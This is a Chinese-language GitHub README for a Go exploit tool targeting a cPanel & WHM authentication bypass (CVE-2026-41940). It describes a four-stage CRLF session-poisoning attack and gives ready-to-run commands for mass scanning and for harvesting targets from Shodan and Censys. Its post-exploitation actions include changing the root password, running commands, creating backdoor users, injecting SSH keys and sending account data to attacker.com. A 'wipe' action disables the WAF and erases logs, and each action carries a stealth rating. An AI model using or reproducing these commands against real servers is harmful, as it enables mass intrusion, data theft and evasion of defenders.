Ishanoshada/CVE-2026-41940-Exploit-PoC
GitHub: Ishanoshada/CVE-2026-41940-Exploit-PoC
一款针对 cPanel & WHM 身份验证绕过漏洞(CVE-2026-41940)的 PoC 利用工具,支持批量扫描与完整的后渗透操作。
Stars: 1 | Forks: 0
# CVE-2026-41940 漏洞 PoC – cPanel & WHM 身份验证绕过
[](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41940)
[](https://www.first.org/cvss/)
[](https://golang.org/)
[](https://opensource.org/licenses/MIT)
**工具作者:** [Ishan Oshada](https://ishanoshada.com) | [GitHub](https://github.com/ishanoshada)

## 📋 目录
- [漏洞概述](#vulnerability-overview)
- [漏洞利用链](#exploit-chain-4-stages)
- [功能特性](#features)
- [安装说明](#installation)
- [快速开始](#quick-start)
- [使用示例](#usage-examples-table)
- [漏洞利用后操作](#post-exploit-actions)
- [交互式 Shell 命令](#interactive-shell-commands)
- [使用 urls.txt 进行批量扫描](#mass-scanning-with-urlstxt)
- [输出示例](#output-examples)
- [选项参考](#options-reference)
- [受影响版本](#affected-versions)
- [全平台构建](#building-for-all-platforms)
- [常见问题与故障排除](#faq--troubleshooting)
- [免责声明](#disclaimer)
- [作者](#author)

## 漏洞概述
**CVE-2026-41940** 是 cPanel & WHM(版本 < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5)中的一个 **CRLF 注入** 漏洞。
`saveSession()` 函数在应用 `filter_sessiondata()` **之后**写入会话数据,但该过滤器的应用**太晚了**。通过在 `Authorization: Basic` 请求头中注入 CRLF(`\r\n`)字符,攻击者可以使用任意键值对(例如 `hasroot=1`、`tfa_verified=1`、`user=root`)污染磁盘上的会话文件。
当被污染的会话随后被加载时,cPanel/WHM 会在无需密码的情况下授予 **完整的 root 权限**。
### CVSS 评分:10.0(严重)
- 攻击向量:网络
- 攻击复杂度:低
- 所需权限:无
- 用户交互:无
- 机密性影响:高
- 完整性影响:高
- 可用性影响:高
## 漏洞利用链(4 个阶段)
| 阶段 | 操作 | 描述 |
|-------|--------|-------------|
| **1** | `POST /login/?login_only=1` | 使用错误凭据请求预认证会话 cookie |
| **2** | `GET /` + CRLF `Authorization` 请求头 | 使用 `hasroot=1`、`user=root` 等键值污染会话文件 |
| **3** | `GET /scripts2/listaccts` | 强制会话缓存重新加载被污染的文件(传播) |
| **4** | `GET /cpsess/json-api/version` | 验证 root 权限 – 成功 = 200 + 版本数据 |
## 功能特性
- ✅ **单个与批量扫描**(文件输入,标准输入管道)
- ✅ **多线程扫描**(并发数可控制至 100+ 个线程)
- ✅ **详细模式**(`--verbose`)——显示完整的 HTTP 请求/响应
- ✅ **JSON 输出**(发现易受攻击目标时自动保存)
- ✅ **10 种漏洞利用后操作**(见下表)
- ✅ **跨平台**(Windows、Linux、macOS)
- ✅ **无外部依赖**(仅使用 Go 标准库)
- ✅ **彩色终端输出**,带有清晰的边框结果
- ✅ **会话持久化** —— keep-alive 机制
- ✅ **交互式 WHM shell** 及命令历史记录
## 安装说明
### 前置条件
- Go 1.20 或更高版本([下载](https://golang.org/dl/))
### 克隆仓库
```
git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
```
### 构建可执行文件
#### Windows
```
go build -o cpanel_sniper.exe main.go
```
#### Linux / macOS
```
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
```
### 直接运行(无需构建)
```
go run main.go -u https://target.com:2087
```
### 预编译二进制文件(最快的方式)
除了从源码构建,你还可以直接从仓库下载最新的稳定可执行文件。这些文件会在每次更新时自动生成:
| 平台 | 位置 |
| :--- | :--- |
| **Windows (x64)** | [`/bin/windows_x64/cpanel_sniper.exe`](./bin/windows_x64/cpanel_sniper.exe) |
| **Linux (x64)** | [`/bin/linux_x64/cpanel_sniper`](./bin/linux_x64/cpanel_sniper) |
| **Linux (ARM64)** | [`/bin/linux_arm64/cpanel_sniper`](./bin/linux_arm64/cpanel_sniper) |
| **macOS (Intel)** | [`/bin/mac_intel/cpanel_sniper`](./bin/mac_intel/cpanel_sniper) |
| **macOS (M1/M2/M3)** | [`/bin/mac_m1_m2/cpanel_sniper`](./bin/mac_m1_m2/cpanel_sniper) |
**注意:** 如果使用 Linux 或 macOS,请记得在下载后赋予执行权限:
## 快速开始
```
# Basic scan
go run main.go -u https://target.com:2087
# 列出所有 cPanel 账户
go run main.go -u https://target.com:2087 -action list
# 交互式 WHM shell
go run main.go -u https://target.com:2087 -action shell
# 使用 urls.txt 进行 Mass scan
go run main.go -l urls.txt -t 20 -o results.json
```
## 使用示例(表格)
| # | 用途 | 命令 |
|---|---------|---------|
| 1 | **基本单目标扫描** | `go run main.go -u https://target.com:2087` |
| 2 | **列出所有 cPanel 账户** | `go run main.go -u https://target.com:2087 -action list` |
| 3 | **更改 root 密码** | `go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006"` |
| 4 | **执行系统命令** | `go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami"` |
| 5 | **获取服务器信息** | `go run main.go -u https://target.com:2087 -action info` |
| 6 | **创建后门用户** | `go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006"` |
| 7 | **创建 API token(隐蔽)** | `go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken` |
| 8 | **注入 SSH 公钥** | `go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..."` |
| 9 | **打包并窃取账户数据** | `go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload` |
| 10 | **清除日志并掩盖痕迹** | `go run main.go -u https://target.com:2087 -action wipe` |
| 11 | **交互式 WHM shell** | `go run main.go -u https://target.com:2087 -action shell` |
| 12 | **从文件进行批量扫描** | `go run main.go -l urls.txt -t 20 -o results.json` |
| 13 | **将结果保存为 JSON** | `go run main.go -u https://target.com:2087 -o scan_results.json` |
| 14 | **启用详细调试模式** | `go run main.go -u https://target.com:2087 --verbose` |
| 15 | **通过管道接收来自其他工具的输入** | `cat urls.txt \| go run main.go -t 20` |
| 16 | **增加超时时间** | `go run main.go -u https://target.com:2087 -timeout 30` |
## 漏洞利用后操作
| 操作 | 参数 | 描述 | 隐蔽级别 |
|--------|------|-------------|---------------|
| `list` | `-action list` | 列出所有 cPanel 账户 | 低 |
| `passwd` | `-action passwd -passwd NEWPASS` | 更改 root 密码(动静较大) | 高(易被检测) |
| `cmd` | `-action cmd -cmd "id"` | 执行操作系统命令 | 中 |
| `info` | `-action info` | 显示主机名、负载、版本 | 低 |
| `adduser` | `-action adduser -new-user U -new-domain D` | 创建后门 cPanel 用户 | 中 |
| `apitoken` | `-action apitoken [-tokenname NAME]` | 生成持久化 API token | **极低** |
| `sshkey` | `-action sshkey -sshkey "ssh-rsa..."` | 向 root 注入 SSH 公钥 | **极低** |
| `dumpacct` | `-action dumpacct -dumpuser USER -exfil URL` | 备份并窃取账户数据 | 中 |
| `wipe` | `-action wipe` | 禁用 WAF、清除日志、抹除历史记录 | **掩盖痕迹** |
| `shell` | `-action shell` | 交互式 WHM shell | 低 |
## 交互式 Shell 命令
进入 shell(`-action shell`)后,可使用以下命令:
| 命令 | 描述 | 示例 |
|---------|-------------|---------|
| `accounts` | 列出所有 cPanel 账户 | `accounts` |
| `passwd ` | 更改 root 密码 | `passwd MyNewPass123!2006` |
| `exec ` | 执行系统命令 | `exec "cat /etc/passwd"` |
| `info` | 显示服务器信息 | `info` |
| `version` | 显示 cPanel 版本 | `version` |
| `help` | 显示可用命令 | `help` |
| `exit` | 退出 shell | `exit` |
## 使用 urls.txt 进行批量扫描
本仓库包含带有 **1000 个示例目标** 的 `urls.txt`,用于批量扫描。
### urls.txt 格式
```
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
```
### 批量扫描命令
```
# Basic mass scan (10 线程)
go run main.go -l urls.txt
# Fast mass scan (50 线程,保存结果)
go run main.go -l urls.txt -t 50 -o results.json
# 带有漏洞利用后操作的 Mass scan
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# 带有详细输出的 Mass scan
go run main.go -l urls.txt -t 10 --verbose
# 带有增加 timeout 的 Mass scan (慢速网络)
go run main.go -l urls.txt -t 30 -timeout 30
```
### 自行生成 urls.txt
```
# Generate IP range (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# Generate IP range (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# 来自 Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# 来自 Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
```
## 输出示例
### 发现易受攻击目标
```
╔════════════════════════════════════════════════════════════════╗
║ VULNERABLE TARGET DETECTED ║
╠════════════════════════════════════════════════════════════════╣
║ Target: https://target.example.com:2087 ║
║ Token: /cpsess1234567890 ║
║ Version: 11.76.0.22 ║
║ Session: :od2aMhg5zJeQunUy... ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Action: LIST
• User: admin | Domain: example.com
• User: backup | Domain: backup.example.com
• User: client1 | Domain: client1.com
```
### 摘要输出
```
════════════════════════════════════════════════════════════════════
SCAN COMPLETE SUMMARY
════════════════════════════════════════════════════════════════════
Total Targets Scanned: 1000
Vulnerable Targets: 47
Time Elapsed: 125.34 seconds
VULNERABLE TARGETS:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Token: /cpsess1111111111
Version: 11.76.0.22
Session: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Token: /cpsess2222222222
Version: 11.86.0.15
Session: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Token: /cpsess3333333333
Version: 11.118.0.42
Session: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Results saved to: results.json
```
## 选项参考
| 选项 | 类型 | 默认值 | 描述 |
|--------|------|---------|-------------|
| `-u` | string | - | 目标 URL(例如,https://example.com:2087) |
| `-l` | string | - | 包含目标 URL 的文件(每行一个) |
| `-t` | int | 10 | 并发线程数 |
| `-action` | string | - | 漏洞利用后操作 |
| `-passwd` | string | - | 新密码(用于 passwd/adduser 操作) |
| `-cmd` | string | - | 要执行的命令(用于 cmd 操作) |
| `-new-user` | string | - | 用于 adduser 操作的用户名 |
| `-new-domain` | string | - | 用于 adduser 操作的域名 |
| `-tokenname` | string | - | API token 名称(用于 apitoken 操作) |
| `-sshkey` | string | - | 要注入的 SSH 公钥(用于 sshkey 操作) |
| `-dumpuser` | string | - | 要备份的用户名(用于 dumpacct 操作) |
| `-exfil` | string | - | 用于数据窃取的远程 URL(用于 dumpacct 操作) |
| `-o` | string | - | 输出 JSON 文件(发现时自动保存) |
| `--verbose` | bool | false | 显示 HTTP 请求/响应 |
| `-h` | bool | false | 显示帮助菜单 |
## 受影响版本
| 分支 | 已修复版本 | 受影响版本 < |
|--------|----------------|--------------|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.1340.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |
## 全平台构建
### Windows
```
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
```
### Linux
```
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
```
### macOS (Intel)
```
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
```
### macOS (Apple Silicon M1/M2/M3)
```
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
```
### 交叉编译所有平台
```
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
```
## 目录结构
```
CVE-2026-41940-Exploit-PoC/
├── README.md # Documentation
├── bin/ # Pre-built multi-platform executables
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Main source code
├── urls.txt # 1000 example targets
├── go.mod # Go module file
├── .gitignore # Git ignore file
└── results.json # Output file (generated)
```
## 免责声明
本工具仅限用于 **教育目的和授权的渗透测试**。
未经授权访问计算机系统在以下法律中属于违法行为:
- 计算机欺诈和滥用法(CFAA) - 美国
- 滥用计算机法 - 英国
- 信息技术法 - 印度
- 全球其他类似法律
**作者对滥用行为不承担任何责任。使用风险自负。**
使用本工具即表示您同意您已获得测试目标系统的适当授权。
## 作者
**Ishan Oshada**
- 🔗 网站: [ishanoshada.com](https://ishanoshada.com)
- 🐙 GitHub: [github.com/ishanoshada](https://github.com/ishanoshada)
- 📧 邮箱: ic31908@gmail.com

## 支持
如果您觉得这个工具有用:
- ⭐ 在 GitHub 上为仓库加星
- 🔄 在安全社区中分享
- 📝 通过 GitHub Issues 报告问题
**祝您黑客愉快!** 🚀
*记住:能力越大,责任越大。请合乎道德地使用。*
标签:0day, CISA项目, cPanel, CRLF注入, CVE-2026-41940, EVTX分析, Go语言, HTTP响应拆分, PoC, Root权限, Web安全, Web报告查看器, WHM, 会话中毒, 会话固定, 提权, 攻击链, 数据展示, 日志审计, 暴力破解, 未授权访问, 程序破解, 红队, 网络安全, 蓝队分析, 身份验证绕过, 隐私保护